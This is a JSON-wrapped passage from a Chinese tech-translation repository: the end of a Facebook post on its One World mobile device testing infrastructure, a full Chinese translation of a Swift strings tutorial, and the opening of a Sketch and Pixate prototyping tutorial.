[WebDriverAgent](https://l.facebook.com/l.php?u=https%3A%2F%2Fgithub.com%2Ffacebook%2FWebDriverAgent&amp;h=ATMwVeLgcgHAP5TCr9ZLfipoNz1fAwLB4IHYW496fz0p3dp1tmNn4uMBLXCEFpUFNqRc8jW2d17l5Wz_eW6R8zXbJzlHsv57nD4hygzlPQ8_8LOotDQbfdpg8pfy3JcRfI3TezE&amp;s=1)  project, a WebDriver server that runs on iOS. This allows us to automate the user interface of our iOS applications from another machine without running additional software on the worker. Our end-to-end tests apply this to execute on a separate machine from runtime hosts, bringing big performance wins for test runtimes when parallelized.\n- **Remote invocation:** When reviewing the results of automated tests, additional diagnostic data can be useful. FBSimulatorControl provides APIs for collecting videos and logs from iOS simulators and devices that can then be accessed by clients.\n\n### One World daemon ###\n\nRather than talk directly to the worker service, clients instead connect to a local daemon that handles the negotiation and environment setup. In this protocol, a client begins by creating a new session with the daemon. The session contains a specification of the type of runtime the client requires and the number of concurrent runtimes it needs. For example, when running a large test suite, a client may request a session for 20 concurrent Android emulators. The daemon prepares the requested resources by reserving a worker service instance and performing runtime-specific preparation steps. For Android sessions, this means setting up the appropriate TCP tunnels to listen on localhost and proxy the traffic to the adb daemon on the remote machine.\n\nAs the client requires access to each reserved resource within its session, it will request a “lease” from the daemon. The daemon will respond with connection details or inform the client if the resource is not yet available. These connection details include information like the local ports to use for adb and FBSimulatorControl. After a client has finished using the resource, it releases it by calling in to the daemon again. At this point, the daemon then either frees the resource entirely to be used by a different client, or retains it to be reused within the same session if possible.\n\nThroughout the session, the workers and daemon communicate as part of the aforementioned state machine model. Once a worker becomes reserved through the scheduling service, it connects to the corresponding daemon to service the job. During the session, the daemon and worker will perform liveness checks, as either of them might die unexpectedly. Once the client has completed its session, the daemon sends a message to the worker to advance to the “restore state” part of its state machine.\n\n### Satellite mode ###\n\nWhile having access to managed remote resources allows clients to scale, sometimes engineers want to use the same tools on local devices to debug an issue. We offer a “satellite service” that allows engineers to connect a local resource to the One World cloud. This means the phone on your desk can be shared with any other engineer and used by all of Facebook's automation by just running a simple command. Like the worker services, the satellite service establishes a series of SSH tunnels from a local machine to One World to connect to the rest of the infrastructure. Targeting a satellite device instead of a managed device requires no code changes, and the satellite service sets up all required networking paths and publishes the resource's availability.\n\n## Using One World ##\n\nThe One World daemon described above takes care of the heavy lifting of connecting to the service. We provide simple libraries to handle common patterns of communication with the daemon to enable engineers to easily integrate with One World. The code snippet below demonstrates the Python API for running an adb command on a One World device. It starts the One World daemon, and then `OneWorldADB` establishes a session and blocks until a device is available. A Python [context manager](https://l.facebook.com/l.php?u=https%3A%2F%2Fdocs.python.org%2F3%2Freference%2Fdatamodel.html%23context-managers&amp;h=ATO5hkqZRWzuwNi5_1HRuvGklNDxeNjLwsnXE8LgDZHrXy6CtYaGUxY7LWZnGM0RwqliGXGjSPlx5JBw3ZYDd-4qldsEXHnSNiUo8stqrtH718dXDAf1LyxuIrJw7pqoxmC94zc&amp;s=1) takes care of tearing everything down once the engineer's code has finished.\n\n```\nwith OneWorldDaemon() as daemon, OneWorldADB(\n    daemon,\n    consumer='demo',\n    capabilities={'device-group': 'nexus-6'},\n) as adb:\n    adb.run('logcat')\n```\n\nUsing multiple concurrent resources is also supported. The One World daemon manages these concurrent resources and, via the API, engineers implement their own system-specific functionality. In the example below, 10 emulators are used to run 100 jobs — the next job will be run as soon as a new emulator becomes available. The results variable at the end will contain 100 results returned by the `run_custom_test` method.\n\n```\nwith OneWorldAndroidADB(daemon, num_emulators=10) as android:\n    futures = [\n       asyncio.ensure_future(\n           android.run_with_emulator(run_custom_test)\n       ) for _ in range(100)\n    ]\n    results = await asyncio.gather(*futures)\n```\n\nAd hoc usage is supported through the CLI:\n\n![](https://fb-s-d-a.akamaihd.net/h-ak-fbx/v/t39.2365-6/18309310_1292402574212388_5475499375826305024_n.gif?oh=177a635620d29123d5698eef94681a1c&oe=59BA84D2&__gda__=1503712690_1d536092299639b8a5d09f47c88b3e56)\n\n## Applications ##\n\nBeyond providing an environment for the ad hoc use of resources, One World supports numerous infrastructure projects at Facebook, including: \n\n- **End-to-end and integration testing:** On every code change to our apps, we run a large suite of tests to avoid introducing new bugs in our codebase. At Facebook's scale, thousands of code changes are made each day, resulting in hundreds of thousands of test runs. One World allows us to run these tests on emulators, simulators, and devices at this scale and provides quick feedback on results as engineers write code.\n- **[CT-Scan](https://code.facebook.com/posts/924676474230092/mobile-performance-tooling-infrastructure-at-facebook/):** Beyond finding bugs, we also carefully test our apps for performance regressions to make sure our apps run smoothly on a large variety of devices. One World provides access to the devices representative of those owned by people who use Facebook, and it allows CT-Scan to focus on testing performance rather than managing devices.\n- **[Sapienz](https://www.facebook.com/academics/photos/a.535022156549196.1073741825.144433258941423/1326609704057100/):** A multi-objective end-to-end testing system, Sapienz automatically generates test sequences using search-based software engineering to find crashes using the shortest path it can find. The Sapienz team can focus on the crash-finding algorithms while letting One World manage the emulators it uses.\n\nWe have many important applications for One World today, but we expect our future work to greatly expand how we use One World in our engineering workflow. We're working on some exciting new features, including:\n\n- **Live streaming:** Engineers often want to reproduce bugs that are platform-specific. Sometimes having just a remote interface like adb isn't enough — you may want to scroll through News Feed, write comments, or tap the Like button. We're building a live streaming service that will allow engineers to interact with devices in our lab from within a web browser. This means they will be able to debug an issue on an obscure model of phone at the click of a button, all while sitting at their desk.\n- **Remote profiling:** The same code can have very different performance on different devices due to varying OS versions, hardware differences, and more. We're working on building a service that allows engineers to submit code and retrieve detailed profiler data across many devices simultaneously to understand how these factors impact their code's performance.\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/mastering-swift-essential-details-about-strings.md",
    "content": "> * 原文地址：[Mastering Swift: essential details about strings](https://rainsoft.io/mastering-swift-essential-details-about-strings/)\n* 原文作者：[Dmitri Pavlutin](https://rainsoft.io/author/dmitri-pavlutin/)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Tuccuay](https://www.tuccuay.com)\n* 校对者：[oOatuo](https://github.com/atuooo) , [lsvih](https://github.com/lsvih)\n\n\n# 掌握 Swift 的字符串细节\n\nString 类型在任何编程语言中都是一个重要的组成部分。而用户从 iOS 应用的屏幕上能读取到最有效的信息也来自文本。\n\n为了触及更多的用户，iOS 应用必须国际化以支持大量现代语言。Unicode 标准解决了这个问题，不过这也给我们使用 string 类型带来了额外的挑战性。\n\n从一方面来说，编程语言在处理字符串时应该在 Unicode 复杂性和性能之间取得平衡。而另一方面，它需要为开发者提供一个舒适的结构来处理字符串。\n\n而在我看来，Swift 在这两方面都做的不错。\n\n幸运的是 Swift 的 string 类型并不是像 JavaScript 或者 Java 那样简单的 UTF-16 序列。\n\n对一个 UTF-16 码单元序列执行 Unicode 感知的字符串操作是很痛苦的：你可能会打破代理对或组合字符序列。\n\nSwift 对此有着更好的实现方式。字符串本身不再是集合，而是能够根据不同情况为内容提供不同的 view。其中一个特殊的 view： `String.CharacterView` 则是完全支持 Unicode 的。\n\n对于 `let myStr = \"Hello, world\"` 来说，你可以访问到下面这些 view：\n\n- `myStr.characters` 即 `String.CharacterView`。可以获取字形的值，视觉上呈现为单一的符号，是最常用的视图。\n- `myStr.unicodeScalars` 即 `String.UnicodeScalarView`。可以获取 21 整数表示的 Unicode 码位。\n- `myStr.utf16` 即 `String.UTF16View`。用于获取 UTF16 编码的代码单元。\n- `myStr.utf8` 即 `String.UTF8View`。能够获取 UTF8 编码的代码单元。\n\n![Swift 中的 CharacterView, UnicodeScalarView, UTF16View 和 UTF8View](https://rainsoft.io/content/images/2016/10/Swift-strings--3-.png)\n\n在大多数时候开发者都在处理简单的字符串字符，而不是深入到编码或者码位这样的细节中。\n\n`CharacterView` 能很好地完成大多数任务：迭代字符串、字符计数、验证是否包含字符串、通过索引访问和比较操作等。\n\n让我们看看如何用 Swift 来完成这些任务。\n\n# 1. Character 和 CharterView 的结构\n\n`String.CharacterView` 的结构是一个字符内容的视图，它是 `Character` 的集合。\n\n要从字符串访问视图，使用字符的 `characters` 属性：\n\n[Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57ff7e018ef62b25bcea2ab1)\n\n```swift\nlet message = \"Hello, world\"\nlet characters = message.characters\nprint(type(of: characters))// => \"CharacterView\"\n```\n\n`message.characters` 返回了 `CharacterView` 结构.\n\n字符视图是 `Character` 结构的集合。例如，我们可以这样来访问字符视图里的第一个字符：\n\n[Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57ff7e188ef62b25bcea2ab2)\n\n```swift\nlet message = \"Hello, world\"\nlet firstCharacter = message.characters.first!\nprint(firstCharacter)           // => \"H\"\nprint(type(of: firstCharacter)) // => \"Character\"\n\nlet capitalHCharacter: Character = \"H\"\nprint(capitalHCharacter == firstCharacter) // => true\n```\n\n`message.characters.first`  返回了一个可选类型，内容是它的第一个字符 `\"H\"`.\n\n这个字符实例代表了单个符号 `H`。\n\n在 Unicode 标准中，`H` 代表 *Latin Capital letter H* (拉丁文大写字母 H)，码位是 `U+0048`。\n\n让我们掠过 ASCII 看看 Swift 如何处理更复杂的符号。这些字符被渲染成单个视觉符号，但实际上是由两个或更多个 [Unicode 标量](http://unicode.org/glossary/#unicode_scalar_value) 组成。严格来说这些字符被称为 **字形簇**\n\n**重点**： `CharacterView` 是字符串的字形簇集合。\n\n让我们看看 `ç` 的字形。他可以有两种表现形式：\n\n- 使用 `U+00E7` *LATIN SMALL LETTER C WITH CEDILLA* (拉丁文小写变音字母 C)：被渲染为 `ç`\n- 或者使用组合字符序列：`U+0063`*LATIN SMALL LETTER C* 加上 组合标记 `U + 0327` *COMBINING CEDILLA* 组成复合字形：`c` + `◌̧` = `ç`\n\n我们看看在第二个选项中 Swift 是如何处理它的：\n\n[Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f3466012fc531b0551b918)\n\n```swift\nlet message = \"c\\u{0327}a va bien\" // => \"ça va bien\"\nlet firstCharacter = message.characters.first!\nprint(firstCharacter) // => \"ç\"\n\nlet combiningCharacter: Character = \"c\\u{0327}\"\nprint(combiningCharacter == firstCharacter) // => true\n```\n\n`firstCharacter` 包含了一个字形 `ç`，它是由两个 Unicode 标量 `U+0063` and `U+0327` 组合渲染出来的。\n\n`Character` 结构接受多个 Unicode 标量来创建一个单一的字形。如果你尝试在单个 `Character` 中添加更多的字形，Swift 将会出发错误：\n\n[Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f3510212fc531b0551b91c)\n\n```swift\nlet singleGrapheme: Character = \"c\\u{0327}\\u{0301}\" // Works\nprint(singleGrapheme) // => \"ḉ\"\n\nlet multipleGraphemes: Character = \"ab\" // Error!\n```\n\n即使 `singleGrapheme` 由 3 个 Unicode 标量组成，它创建了一个字形 `ḉ`。\n而 `multipleGraphemes` 则是从两个 Unicode 标量创建一个 `Character`，这将在单个 `Character` 结构中创建两个分离的字母 `a` 和 `b`，这不是被允许的操作。\n\n# 2. 遍历字符串中的字符\n\n`CharacterView` 集合遵循了 `Sequence` 协议。这将允许在 `for-in` 循环中遍历字符视图：\n\n[Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4bc8f27a61152fe7c7410)\n\n```swift\nlet weather =\"rain\"for char in weather.characters {print(char)}// => \"r\" // => \"a\" // => \"i\" // => \"n\"\n```\n\n我们可以在 `for-in` 循环中访问到 `weather.characters` 中的每个字符。`char` 变量将会在迭代中依次分配给 `weather` 中的 `\"r\"`, `\"a\"`, `\"i\"` 和 `\"n\"` 字符。\n\n当然你也可以用 `forEach(_:)` 方法来迭代字符，指定一个闭包作为第一个参数：\n\n[Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4bca927a61152fe7c7411)\n\n```swift\nlet weather = \"rain\"\nfor char in weather.characters {\n  print(char)\n}\n// => \"r\"\n// => \"a\"\n// => \"i\"\n// => \"n\"\n\n```\n\n使用 `forEach(_:)` 的方式与 `for-in` 相似，唯一的不同是你不能使用 `continue` 或者 `break` 语句。\n\n要在循环中访问当前字符串的索引可以通过 `CharacterView` 提供的 `enumerated()` 方法。这个方法将会返回一个元组序列 `(index, character)`：\n\n[Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4bcd127a61152fe7c7412)\n\n```swift\nlet weather = \"rain\"\nfor (index, char) in weather.characters.enumerated() {\n  print(\"index: \\(index), char: \\(char)\")\n}\n// => \"index: 0, char: r\"\n// => \"index: 1, char: a\"\n// => \"index: 2, char: i\"\n// => \"index: 3, char: n\"\n```\n\n`enumerated()` 方法在每次迭代时返回元组 `(index, char)`。\n`index` 变量即为循环中当前字符的索引，而 `char` 变量则是循环中当前的字符。\n\n# 3. 统计字符\n\n只需要访问 `CharacterView` 的 `count` 属性就可以获得字符串中字符的个数：\n\n[Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4bcf327a61152fe7c7413)\n\n```swift\nlet weather =\"sunny\"print(weather.characters.count)// => 5\n```\n\n`weather.characters.count` 是字符串中字符的个数。\n\n视图中的每一个字符都拥有一个字形。当相邻字符（比如 [组合标记](http://unicode.org/glossary/#combining_character) ）被添加到字符串时，你可能发现 `count` 属性没有没有变大。\n\n这是因为相邻字符并没有在字符串中创建一个新的字形，而是附加到了已经存在的 [基本 Unicode 字形](http://unicode.org/glossary/#base_character) 中。让我们看一个例子：\n\n[Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4bd0927a61152fe7c7414)\n\n```swift\nvar drink = \"cafe\"\nprint(drink.characters.count) // => 4\ndrink += \"\\u{0301}\"\nprint(drink)                  // => \"café\"\nprint(drink.characters.count) // => 4\n```\n\n一开始 `drink` 含有四个字符。\n\n当组合标记 `U+0301`*COMBINING ACUTE ACCENT* 被添加到字符串中，它改变了上一个基本字符 `e` 并创建了新的字形 `é`。这时属性 `count` 并没有变大，因为字形数量仍然相同。\n\n# 4. 按索引访问字符\n\n因为 Swift 直到它实际评估字符视图中的字形之前都不知道字符串中的字符个数，所以无法通过下标的方式访问字符串索引。\n\n你可以通过特殊的类型 `String.Index` 访问字符。\n\n如果你需要访问字符串中的第一个或者最后一个字符，字符视图结构提供了 `first` 和 `last` 属性：\n\n[Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4bd2027a61152fe7c7415)\n\n```swift\nlet season = \"summer\"\nprint(season.characters.first!) // => \"s\"\nprint(season.characters.last!)  // => \"r\"\nlet empty = \"\"\nprint(empty.characters.first == nil) // => true\nprint(empty.characters.last == nil)  // => true\n\n```\n\n注意 `first` 和 `last` 属性将会返回可选类型 `Character?`。\n\n在空字符串 `empty` 这些属性将会是 `nil`。\n\n![String indexes in Swift](https://rainsoft.io/content/images/2016/10/Swift-strings--2--1.png)\n\n要获取特定位置的字符，你必须使用 `String.Index` 类型（实际上是 `String.CharacterView.Index`的别名）。字符提供了一个接受 `String.Index` 下标访问字符的方法，以及预定义的索引 `myString.startIndex` 和 `myString.endIndex`。\n\n让我们使用字符串索引来访问第一个和最后一个字符：\n\n[Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4bd3627a61152fe7c7416)\n\n```swift\nlet color = \"green\"\nlet startIndex = color.startIndex\nlet beforeEndIndex = color.index(before: color.endIndex)\nprint(color[startIndex])     // => \"g\"\nprint(color[beforeEndIndex]) // => \"n\"\n```\n\n`color.startIndex` 是第一个字符的索引，所以 `color[startIndex]` 表示为 `g`。\n`color.endIndex` 表示**结束**位置，或者简单的说是比最后一个有效下标参数大的位置。要访问最后一个字符，你必须计算它的前一个索引：`color.index(before: color.endIndex)`\n\n要通过偏移访问字符的位置， 在 `index(theIndex, offsetBy: theOffset)` 方法中使用 `offsetBy` 参数：\n\n[Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4bd4d27a61152fe7c7417)\n\n```swift\nlet color = \"green\"\nlet secondCharIndex = color.index(color.startIndex, offsetBy: 1)\nlet thirdCharIndex = color.index(color.startIndex, offsetBy: 2)\nprint(color[secondCharIndex]) // => \"r\"\nprint(color[thirdCharIndex])  // => \"e\"\n```\n\n指定 `offsetBy` 参数，你将可以放特定偏移量位置的字符。\n\n当然，`offsetBy` 参数是的步进是字符串的字形。即偏移量适用于 `ChacterView` 中的 `Chacter` 实例。\n\n如果索引超出范围，Swift 会触发错误。\n\n[Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4bd7227a61152fe7c7418)\n\n```swift\nlet color =\"green\"\nlet oops = color.index(color.startIndex, offsetBy:100) // Error!\n```\n\n为了防止这种情况，可以指定一个 `limitedBy` 参数来限制最大偏移量：`index(theIndex, offsetBy: theOffset, limitedBy: theLimit)`。这个函数将会返回一个可选类型，当索引超出范围时将会返回 `nil`：\n\n[Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4bd8d27a61152fe7c7419)\n\n```swift\nlet color = \"green\"\nlet oops = color.index(color.startIndex, offsetBy: 100,\n   limitedBy: color.endIndex)\nif let charIndex = oops {\n  print(\"Correct index\")\n} else {\n  print(\"Incorrect index\")\n}\n// => \"Incorrect index\"\n```\n\n`oops` 是一个可选类型 `String.Index?`。展开可选类型可以验证索引是否超出了字符串的范围。\n\n# 5. 检查子串是否存在\n\n验证子串是否存在的最简单方法是调用 `contains(_ other: String)` 方法：\n\n[Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4bda427a61152fe7c741a)\n\n```swift\nimport Foundation\nlet animal = \"white rabbit\"\nprint(animal.contains(\"rabbit\")) // => true\nprint(animal.contains(\"cat\")) // => false\n```\n\n`animal.contains(\"rabbit\")` 将返回 `true` 因为 `animal` 包含了 `\"rabbit\"` 字符串。\n\n那么当子字串不存在的时候 `animal.contains(\"cat\")` 的值将为 `false`。\n\n要验证字符串是否具有特定的前缀或后缀，可以使用 `hasPrefix(_:)` 和  `hasSuffix(_:)` 方法。我们来看一个例子：\n\n[Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4bdb627a61152fe7c741b)\n\n```swift\nimportFoundationlet\nanimal = \"white rabbit\"\nprint(animal.hasPrefix(\"white\")) // => true\nprint(animal.hasSuffix(\"rabbit\")) // => true\n```\n\n`\"white rabbit\"` 以 `\"white\"` 开头并以 `\"rabbit\"` 结尾。所以我们调用 `animal.hasPrefix(\"white\")` 和 `animal.hasSuffix(\"rabbit\")` 方法都将返回 `true`。\n\n当你想搜索字符串时，直接查询字符视图是就可以了。比如：\n\n[Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4bdc827a61152fe7c741c)\n\n```swift\nlet animal = \"white rabbit\"\nlet aChar: Character = \"a\"\nlet bChar: Character = \"b\"\nprint(animal.characters.contains(aChar)) // => true\nprint(animal.characters.contains {\n  $0 == aChar || $0 == bChar\n}) // => true\n```\n\n`contains(_:)` 将验证字符视图是否包含指定视图。\n\n而第二个函数 `contains(where predicate: (Character) -> Bool)` 则是接受一个闭包并执行验证。\n\n# 6. 字符串操作\n\n字符串在 Swift 中是 *value type*（值类型）。无论你是将它作为参数进行函数调用还是将它分配给一个变量或者常量——每次复制都将会创建一个全新的**拷贝**。\n\n所有的可变方法都是在空间内将字符串改变。\n\n本节涵盖了对字符串的常见操作。\n\n#### 附加字符串到另一个字符串\n\n附加字符串较为简便的方法是直接使用 `+=` 操作符。你可以直接将整个字符串附加到原始字符串：\n\n[Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4bddf27a61152fe7c741d)\n\n```swift\nvar bird =\"pigeon\"\nbird +=\" sparrow\"\nprint(bird) // => \"pigeon sparrow\"\n```\n\n字符串结构提供了一个可变方法 `append()`。该方法接受字符串、字符甚至字符序列，并将其附加到原始字符串。例如\n\n[Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4bdff27a61152fe7c741e)\n\n```swift\nvar bird = \"pigeon\"\nlet sChar: Character = \"s\"\nbird.append(sChar)\nprint(bird) // => \"pigeons\"\nbird.append(\" and sparrows\")\nprint(bird) // => \"pigeons and sparrows\"\nbird.append(contentsOf: \" fly\".characters)\nprint(bird) // => \"pigeons and sparrows fly\"\n```\n\n#### 从字符串中截取字符串\n\n使用 `substring()` 方法可以截取字符串：\n\n- 从特定索引到字符串的末尾\n- 从开头到特定索引\n- 或者基于一个索引区间\n\n让我们来看看它是如何工作的\n\n[Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4be1527a61152fe7c741f)\n\n```swift\nlet plant = \"red flower\"\nlet strIndex = plant.index(plant.startIndex, offsetBy: 4)\nprint(plant.substring(from: strIndex)) // => \"flower\"\nprint(plant.substring(to: strIndex))   // => \"red \"\n\nif let index = plant.characters.index(of: \"f\") {\n  let flowerRange = index..<plant.endIndex\n  print(plant.substring(with: flowerRange)) // => \"flower\"\n}\n```\n\n字符串下标接受一个区间或者封闭区间作为字符索引。这有助于根据范围截取子串：\n\n[Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4be3127a61152fe7c7420) (target=undefined)\n\n```swift\nlet plant =\"green tree\"let excludeFirstRange =\n  plant.index(plant.startIndex, offsetBy:1)..<plant.endIndex\nprint(plant[excludeFirstRange]) // => \"reen tree\"\nlet lastTwoRange = plant.index(plant.endIndex, offsetBy:-2)..<plant.endIndex\nprint(plant[lastTwoRange]) // => \"ee\"\n```\n\n#### 插入字符串\n\n字符串类型提供了可变方法 `insert()`。此方法可以在特定索引处插入一个字符或者一个字符序列。\n\n新的字符将被插入到指定索引的元素之前。\n\n来看一个例子：\n\n[Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4be4a27a61152fe7c7421)\n\n```swift\nvar plant = \"green tree\"\nplant.insert(\"s\", at: plant.endIndex)\nprint(plant) // => \"green trees\"\nplant.insert(contentsOf: \"nice \".characters, at: plant.startIndex)\nprint(plant) // => \"nice green trees\"\n```\n\n#### 移除字符\n\n可变方法 `remove(at:)` 可以删除指定索引处的字符：\n\n[Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4be6527a61152fe7c7422)\n\n```swift\nvar weather = \"sunny day\"\nif let index = weather.characters.index(of: \" \") {\n  weather.remove(at: index)\n  print(weather) // => \"sunnyday\"\n}\n```\n\n你也可以使用 `removeSubrange(_:)` 来从字符串中移除一个索引区间内的全部字符：\n\n[Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4be7b27a61152fe7c7423)\n\n```swift\nvar weather = \"sunny day\"\nlet index = weather.index(weather.startIndex, offsetBy: 6)\nlet range = index..<weather.endIndex\nweather.removeSubrange(range)\nprint(weather) // => \"sunny\"\n```\n\n#### 替换字符串\n\n`replaceSubrange(_:with:)` 方法接受一个索引区间并可以将区间内的字符串替换为特定字符串。这是字符串的一个可变方法。\n\n一个简单的例子：\n\n[Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4be9327a61152fe7c7424)\n\n```swift\nvar weather = \"sunny day\"\nif let index = weather.characters.index(of: \" \") {\n  let range = weather.startIndex..<index\n  weather.replaceSubrange(range, with: \"rainy\")\n  print(weather) // => \"rainy day\"\n}\n```\n\n#### 另一些关于字符串的可变操作\n\n上面描述的许多字符串操作都是直接应用于字符串中的字符视图。\n\n如果你觉得直接对字符序列进行操作更加方便的话，那也是个不错的选择。\n\n比如你可以删除特定索引出的字符，或者直接删除第一个或者最后一个字符：\n\n[Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4bea927a61152fe7c7425)\n\n```swift\nvar fruit = \"apple\"\nfruit.characters.remove(at: fruit.startIndex)\nprint(fruit) // => \"pple\"\nfruit.characters.removeFirst()\nprint(fruit) // => \"ple\"\nfruit.characters.removeLast()\nprint(fruit) // => \"pl\"\n```\n\n使用字符视图中的 `reversed()` 方法来翻转字符视图：\n\n[Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4bebf27a61152fe7c7426)\n\n```swift\nvar fruit =\"peach\"\nvar reversed =String(fruit.characters.reversed())\nprint(reversed)// => \"hcaep\"\n```\n\n 你可以很简单得过滤字符串：\n\n[Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4beea27a61152fe7c7427)\n\n```swift\nlet fruit = \"or*an*ge\"\nlet filtered = fruit.characters.filter { char in\n  return char != \"*\"\n}\nprint(String(filtered)) // => \"orange\"\n```\n\nMap 可以接受一个闭包来对字符串进行变换：\n\n[Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4befd27a61152fe7c7428)\n\n```swift\nlet fruit = \"or*an*ge\"\nlet mapped = fruit.characters.map { char -> Character in\n  if char == \"*\" {\n      return \"+\"\n  }\n  return char\n}\nprint(String(mapped)) // => \"or+an+ge\"\n```\n\n或者使用 reduce 来对字符串来进行一些累加操作：\n\n[Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4bf1d27a61152fe7c7429)\n\n```swift\nlet fruit = \"or*an*ge\"\nlet numberOfStars = fruit.characters.reduce(0) { countStars, char in\n    if (char == \"*\") {\n        return countStarts + 1\n    }\n    return countStars\n}\nprint(numberOfStars) // => 2\n```\n\n# 7. 说在最后\n\n首先要说，大家对于字符串内容持有的不同观点看起来似乎过于复杂。\n\n而在我看来这是一个很好的实现。字符串可以从不同的角度来看待：作为字形集合、UTF-8 / UTF-16 码位或者简单的 Unicode 标量。\n\n根据你的任务来选择合适的视图。在大多数情况下，`CharacterView` 都很合适。\n\n因为字符视图中可能包含来自一个或多个 Unicode 标量组成的字形。因此字符串并不能像数组那样直接被整数索引。不过可以用特殊的 `String.Index` 来索引字符串。\n\n虽然特殊的索引类型导致在访问单个字符串或者操作字符串时增加了一些难度。我接受这个成本，因为在字符串上进行真正的 Unicode 感知操作真的很棒！\n\n**对于字符操作你有没有找到更舒适的方法？写下评论我们一起来讨论一些吧！**\n\n**P.S.** 不知道你有没有兴趣阅读我的另一篇文章：[detailed overview of array and dictionary literals in Swift](https://rainsoft.io/concise-initialization-of-collections-in-swift/)\n\n>[掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。"
  },
  {
    "path": "TODO/material-design-prototype-tutorial-part-1.md",
    "content": ">* 原文链接 : [HOW TO BUILD A MATERIAL DESIGN PROTOTYPE USING SKETCH AND PIXATE - PART ONE](http://createdineden.com/blog/post/material-design-prototype-tutorial-part-1/)\n* 原文作者 : Mike Scamell\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [Sausure](https://github.com/Sausure)\n* 校对者:[Ruixi](https://github.com/Ruixi) , [wild-flame](https://github.com/wild-flame)\n\n# 使用 Sketch 和 Pixate 构建 Material Design 原型 - 第一部分\n\n你是否曾经对某一款应用有过很棒的想法或者想向别人展示你的想法会带来改变？可是否又有以下限制令你止步？\n\n*   没时间去开发款概念产品来证明自己\n*   你对色调、布局和动画等等该如何展示没有把握\n*   你是位应用开发者，想尝试但不知该如何设计\n*   你是位应用设计师，想了解 Sketch 和 Pixate 在设计和构建原型的优势\n*   你对 Material Design 能否提升你的应用没有把握但又想知道到底会变成怎样（希望这不是你的情况）\n\n如果上面有你关注的问题又或者你仅仅是想学习 Sketch 或 Pixate，那么我希望你能继续看下去。\n\n我非常喜欢用这两款工具 [Sketch](http://bit.ly/22RgdKX \"Sketch design tool\") 和 [Pixate](http://bit.ly/1M2DyBP \"Pixate prototyping tool\") 来设计与构建原型。作为一位职业的 Android 开发者，我对艰涩难学的 Adobe Illustrator 或者类似的软件不太感兴趣。几个月前在开始设计一款应用 [Fantasy Football Fix app](http://bit.ly/1Tb18sZ \"Fantasy Football Fix\") 时，我早已听闻用户对 Sketch 的称赞并刚好在 [Tech Crunch article](http://tcrn.ch/1OkuP9R \"Tech Crunch article\") 上看到 Google 收购 Pixate 的文章，便决定同时尝试下这两款工具。\n\nSketch 是一款简单易用的设计软件。它将设计拆分到 `Page` 和 `Artboard` 上以便让你自行组织。举个例子，一个应用的某一特征可以展现在某一张 `Page` 的全部 `Artboard` 当中，比如登录。或者用一张 `Page` 来包含所有测试/原型的而另开一张 `Page` 放实际发布的设计。不管你怎么做，它对组织你的设计都很有帮助。这里还有增强功能的插件 [plugins for added functionality](http://bit.ly/1V9jYVN \"Sketch plugins\")。 下面列出一些我使用的插件：\n\n*   [Sketch Artboard Tricks](http://bit.ly/1RPufrh \"Sketch Art board Tricks plugin\") 可以帮你重新整理杂乱的 `Artboard`\n*   [Sketch Export Assets](http://bit.ly/1UEwVIU \"Sketch Export Assets plugin\") 可以帮助你根据 IOS、Android 和 Window Phone 的不同尺寸分别导出设计\n\nGoogle 旗下的 Pixate 